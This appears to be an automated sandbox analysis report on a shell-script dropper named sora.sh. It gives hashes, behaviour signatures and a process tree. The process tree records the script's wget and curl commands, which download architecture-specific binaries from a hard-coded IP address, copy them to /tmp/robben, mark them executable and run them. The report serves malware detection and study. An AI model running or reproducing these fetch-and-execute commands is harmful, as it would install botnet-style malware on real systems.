Analysis
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max time kernel
35s -
max time network
36s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240611-en -
resource tags
arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
29-08-2024 20:35
Static task
static1
Behavioral task
behavioral1
Sample
sora.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
sora.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
sora.sh
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral4
Sample
sora.sh
Resource
debian9-mipsel-20240611-en
General
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Target
sora.sh
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Size
2KB
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MD5
23ce60917752705f59bde8ca8569c3d6
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SHA1
651959b325ca119ccc280a706ef57da197df6dfb
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SHA256
c4575e4be3ce1429bf36332d68ad7aa6612852748f0a94067e6936433c26f344
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SHA512
9ce028bb852c3e0b67c66f55cd9b91a2498acccdb80b80220a3a99ca714521de13a1da5c9184ba6732bdb793df98effa7b5a511a5a3f5d30b57de6e88839329b
Malware Config
Signatures
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Executes dropped EXE 14 IoCs
ioc pid Process /tmp/robben 733 robben /tmp/robben 743 robben /tmp/robben 750 robben /tmp/robben 756 robben /tmp/robben 762 robben /tmp/robben 769 robben /tmp/robben 793 robben /tmp/robben 812 robben /tmp/robben 831 robben /tmp/robben 837 robben /tmp/robben 848 robben /tmp/robben 865 robben /tmp/robben 882 robben /tmp/robben 894 robben -
Reads runtime system information 14 IoCs
Reads data from /proc virtual filesystem.
description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl -
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/robben sora.sh
Processes
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/tmp/sora.sh/tmp/sora.sh1⤵
- Writes file to tmp directory
PID:706 -
/usr/bin/wgetwget http://188.127.247.15/bins/sora.x862⤵PID:709
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/usr/bin/curlcurl -O http://188.127.247.15/bins/sora.x862⤵
- Reads runtime system information
PID:720
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/bin/catcat sora.x862⤵PID:730
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/bin/chmodchmod +x robben sora.sh systemd-private-7f77a81ac96e448c9e00deea09a07fd1-systemd-timedated.service-PY0NAt2⤵PID:732
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/tmp/robben./robben Payload2⤵
- Executes dropped EXE
PID:733
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/usr/bin/wgetwget http://188.127.247.15/bins/sora.mips2⤵PID:735
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/usr/bin/curlcurl -O http://188.127.247.15/bins/sora.mips2⤵
- Reads runtime system information
PID:739
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/bin/catcat sora.mips2⤵PID:741
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/bin/chmodchmod +x robben sora.sh systemd-private-7f77a81ac96e448c9e00deea09a07fd1-systemd-timedated.service-PY0NAt2⤵PID:742
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/tmp/robben./robben Payload2⤵
- Executes dropped EXE
PID:743
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/usr/bin/wgetwget http://188.127.247.15/bins/sora.x86_642⤵PID:745
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/usr/bin/curlcurl -O http://188.127.247.15/bins/sora.x86_642⤵
- Reads runtime system information
PID:747
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/bin/catcat sora.x86_642⤵PID:748
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/bin/chmodchmod +x robben sora.sh systemd-private-7f77a81ac96e448c9e00deea09a07fd1-systemd-timedated.service-PY0NAt2⤵PID:749
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/tmp/robben./robben Payload2⤵
- Executes dropped EXE
PID:750
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/usr/bin/wgetwget http://188.127.247.15/bins/sora.i4682⤵PID:752
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/usr/bin/curlcurl -O http://188.127.247.15/bins/sora.i4682⤵
- Reads runtime system information
PID:753
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/bin/catcat sora.i4682⤵PID:754
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/bin/chmodchmod +x robben sora.sh systemd-private-7f77a81ac96e448c9e00deea09a07fd1-systemd-timedated.service-PY0NAt2⤵PID:755
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/tmp/robben./robben Payload2⤵
- Executes dropped EXE
PID:756
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/usr/bin/wgetwget http://188.127.247.15/bins/sora.i6862⤵PID:758
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/usr/bin/curlcurl -O http://188.127.247.15/bins/sora.i6862⤵
- Reads runtime system information
PID:759
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/bin/catcat sora.i6862⤵PID:760
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/bin/chmodchmod +x robben sora.sh systemd-private-7f77a81ac96e448c9e00deea09a07fd1-systemd-timedated.service-PY0NAt2⤵PID:761
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/tmp/robben./robben Payload2⤵
- Executes dropped EXE
PID:762
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/usr/bin/wgetwget http://188.127.247.15/bins/sora.mpsl2⤵PID:764
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/usr/bin/curlcurl -O http://188.127.247.15/bins/sora.mpsl2⤵
- Reads runtime system information
PID:765
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/bin/catcat sora.mpsl2⤵PID:766
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/bin/chmodchmod +x robben sora.sh systemd-private-7f77a81ac96e448c9e00deea09a07fd1-systemd-timedated.service-PY0NAt2⤵PID:767
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/tmp/robben./robben Payload2⤵
- Executes dropped EXE
PID:769
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/usr/bin/wgetwget http://188.127.247.15/bins/sora.arm42⤵PID:772
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/usr/bin/curlcurl -O http://188.127.247.15/bins/sora.arm42⤵
- Reads runtime system information
PID:775
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/bin/catcat sora.arm42⤵PID:790
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/bin/chmodchmod +x robben sora.sh systemd-private-7f77a81ac96e448c9e00deea09a07fd1-systemd-timedated.service-PY0NAt2⤵PID:792
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/tmp/robben./robben Payload2⤵
- Executes dropped EXE
PID:793
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/usr/bin/wgetwget http://188.127.247.15/bins/sora.arm52⤵PID:796
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/usr/bin/curlcurl -O http://188.127.247.15/bins/sora.arm52⤵
- Reads runtime system information
PID:800
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/bin/catcat sora.arm52⤵PID:808
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/bin/chmodchmod +x robben sora.sh systemd-private-7f77a81ac96e448c9e00deea09a07fd1-systemd-timedated.service-PY0NAt2⤵PID:811
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/tmp/robben./robben Payload2⤵
- Executes dropped EXE
PID:812
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/usr/bin/wgetwget http://188.127.247.15/bins/sora.arm62⤵PID:814
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/usr/bin/curlcurl -O http://188.127.247.15/bins/sora.arm62⤵
- Reads runtime system information
PID:828
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/bin/catcat sora.arm62⤵PID:829
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/bin/chmodchmod +x robben sora.sh systemd-private-7f77a81ac96e448c9e00deea09a07fd1-systemd-timedated.service-PY0NAt2⤵PID:830
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/tmp/robben./robben Payload2⤵
- Executes dropped EXE
PID:831
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/usr/bin/wgetwget http://188.127.247.15/bins/sora.arm72⤵PID:833
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/usr/bin/curlcurl -O http://188.127.247.15/bins/sora.arm72⤵
- Reads runtime system information
PID:834
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/bin/catcat sora.arm72⤵PID:835
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/bin/chmodchmod +x robben sora.sh systemd-private-7f77a81ac96e448c9e00deea09a07fd1-systemd-timedated.service-PY0NAt2⤵PID:836
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/tmp/robben./robben Payload2⤵
- Executes dropped EXE
PID:837
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/usr/bin/wgetwget http://188.127.247.15/bins/sora.ppc2⤵PID:839
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/usr/bin/curlcurl -O http://188.127.247.15/bins/sora.ppc2⤵
- Reads runtime system information
PID:840
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/bin/catcat sora.ppc2⤵PID:844
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/bin/chmodchmod +x robben sora.sh2⤵PID:846
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/tmp/robben./robben Payload2⤵
- Executes dropped EXE
PID:848
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/usr/bin/wgetwget http://188.127.247.15/bins/sora.ppc440fp2⤵PID:850
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/usr/bin/curlcurl -O http://188.127.247.15/bins/sora.ppc440fp2⤵
- Reads runtime system information
PID:854
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/bin/catcat sora.ppc440fp2⤵PID:862
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/bin/chmodchmod +x robben sora.sh2⤵PID:863
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/tmp/robben./robben Payload2⤵
- Executes dropped EXE
PID:865
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/usr/bin/wgetwget http://188.127.247.15/bins/sora.m68k2⤵PID:868
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/usr/bin/curlcurl -O http://188.127.247.15/bins/sora.m68k2⤵
- Reads runtime system information
PID:871
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/bin/catcat sora.m68k2⤵PID:878
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/bin/chmodchmod +x robben sora.sh2⤵PID:880
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/tmp/robben./robben Payload2⤵
- Executes dropped EXE
PID:882
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/usr/bin/wgetwget http://188.127.247.15/bins/sora.sh42⤵PID:884
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/usr/bin/curlcurl -O http://188.127.247.15/bins/sora.sh42⤵
- Reads runtime system information
PID:888
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/bin/catcat sora.sh42⤵PID:892
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/bin/chmodchmod +x robben sora.sh2⤵PID:893
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/tmp/robben./robben Payload2⤵
- Executes dropped EXE
PID:894
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